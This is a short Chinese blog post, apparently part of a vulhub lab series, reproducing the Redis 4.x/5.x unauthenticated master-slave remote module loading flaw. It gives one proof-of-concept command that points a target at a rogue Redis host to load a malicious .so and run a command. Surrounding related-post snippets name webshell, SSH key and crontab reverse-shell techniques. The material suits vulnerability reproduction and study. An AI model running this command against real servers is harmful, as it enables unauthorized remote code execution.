Redis 4.x/5.x 未授权访问漏洞

最新推荐文章于 2024-05-28 15:44:55 发布
最新推荐文章于 2024-05-28 15:44:55 发布
阅读量168 收藏
点赞数
分类专栏： vulhub漏洞复现 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/EC_Carrot/article/details/119078065
版权

漏洞简介

Redis未授权访问在4.x/5.0.5以前版本下，我们可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。

漏洞复现

我们直接使用POC来完成这次复现：

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

小 白 萝 卜
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
Redis-x64-3.2.100.zip
11-21
- Redis默认监听所有网络接口，为避免未授权访问，应配置绑定到本地回环地址（127.0.0.1）或特定IP，或者设置访问密码。 4. **性能优化**： - 考虑到Redis是内存数据库，内存管理至关重要。合理配置最大内存、...
Redis 漏洞总结
qq_41696518的博客
06-26 3028
其实漏洞的原理无外乎就2点：1. 能连接Redis，这是利用的前提。2. linux一切皆文件，要利用的服务可通过修改文件内容达成。
Redis系列漏洞总结
NLost
10-21 6296
未授权访问;redis写入webshell;redis写入ssh公钥登录;写入计划任务反弹shell;主从复制rce;什么是主从复制;ssrf+redis写入webshell;Redis Lua 沙盒绕过rce
Redis漏洞总结
最新发布
白帽子佳奇的博客
05-28 968
redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。
Redis漏洞汇总
Jietewang的博客
08-11 8108
前言 redis是一个key-value存储系统，拥有很强大的功能，目前的普及率很高，reids默认端口是6379。造成为授权漏洞的原因不是逻辑漏洞（：》），是安全配置未作限制的原因，如果主机非内网主机，且拥有互联网IP那么redis大概率存在未授权漏洞，本人遇到的是这样的。 1.未授权访问漏洞 redis默认情况是空密码连接，如果在root用户下安装的话，这是十分危险的，有多危险呢？大概( )这么危险。 ...
Redis漏洞及搭配ssrf利用的姿势
qq_71467825的博客
06-24 2293
这篇博客就总结到这里，下次把经典一点的SSRF题目都总结到一起再学习一波，冲冲冲！！！
Redis未授权访问漏洞复现与利用
Forget_liu的博客
06-07 2409
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
Redis-x64-3.2.100安装.zip
07-25
默认情况下，Redis服务对外界开放，应配置防火墙规则或使用`bind`参数限制只监听本地回环地址，以防止未授权访问。同时，定期更新Redis版本以修复可能的安全漏洞。 总的来说，Redis-x64-3.2.100为Windows用户提供了...
被动式漏洞扫描系统.zip
03-08
请使用者遵守《中华人民共和国网络安全法》，勿将 Gourdscan 用于未授权的测试，参与项目的社区成员/YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。 安装依赖： Linux 安装 Redis apt-...
最新版 redis-5.0.9.tar.gz
06-13
8. **安全性**：Redis 5.0.9可能修复了一些安全漏洞，增强了服务器的安全性，防止未授权访问和攻击。 解压"redis-5.0.9"后，用户可以阅读README文件获取安装和配置指南，编译源代码以生成可执行文件，然后根据需求...
redis，windows-x64
11-02
- 使用密码认证，防止未授权访问。 - 关注Redis的安全公告，及时更新到最新稳定版本以修复已知漏洞。 通过以上介绍，我们对Redis在Windows环境下的安装、使用及优化有了基本了解。在实际开发中，可以根据项目需求...
Redis未授权访问漏洞引出的漏洞利用方式
Chu_Jian_Xiong的博客
11-20 1143
redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞，攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录，对目标服务器完成后续的控制和利用。
Redis未授权访问漏洞的重现与利用
qq_40882763的博客
03-24 1891
Redis 默认情况下，会绑定在 0.0.0.0:6379，，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
redis未授权访问漏洞利用
weixin_53562844的博客
05-07 2172
redis是一个key-value存储系统，拥有强大的功能，目前普及率很高，redis是用ansic语言编写，支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的APL，reids默认端口是6379。造成未授权漏洞的原因是安全配置未作限制，redis默认情况是空密码连接。 利用条件：redis <3.2 利用原理：redis绑定在0.0.0.0：6379，且没有进行添加安全策略，直接暴露在公网，默认是空密码，可以让攻击者免密码登录redis服务。 靶机：192.
Redis未授权访问漏洞利用
weixin_65049289的博客
01-17 486
Redis未授权访问漏洞
Redis漏洞利用总结
YouthBelief的博客
10-29 6058
redis漏洞利用前言一、redis4.x`5.x未授权访问漏洞0x01 漏洞描述0x02 影响范围0x03 环境搭建0x03 漏洞利用探测漏洞未授权登录3.1 利用redis写webshell利用前提利用方法3.2 利用“公私钥” 认证获取root权限3.3 利用crontab反弹shell0x04 漏洞修复 前言 redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。Redis默认使用 6379 端口。 一、redis4
一文清晰带你认识redis漏洞
逍遥小哥的博客
02-01 1495
主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Reids 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。数据持久化：Redis提供持久化功能，可以将数据保存到磁盘上，以防止数据丢失。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
Redis 未授权访问漏洞利用及修复
Thunderclap的博客
06-25 3926
Redis 未授权访问漏洞利用及修复
给这段配置文件添加注释services: ruoyi-redis: container_name: ruoyi-redis image: redis build: context: ./redis ports: - "9063:6379" volumes: - ./redis/conf/redis.conf:/home/ruoyi/redis/redis.conf - ./redis/data:/data command: redis-server /home/ruoyi/redis/redis.conf
06-09
- ./redis/conf/redis.conf:/home/ruoyi/redis/redis.conf # Redis配置文件映射 - ./redis/data:/data # Redis数据目录映射 command: redis-server /home/ruoyi/redis/redis.conf # 启动Redis服务的命令 ``` ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值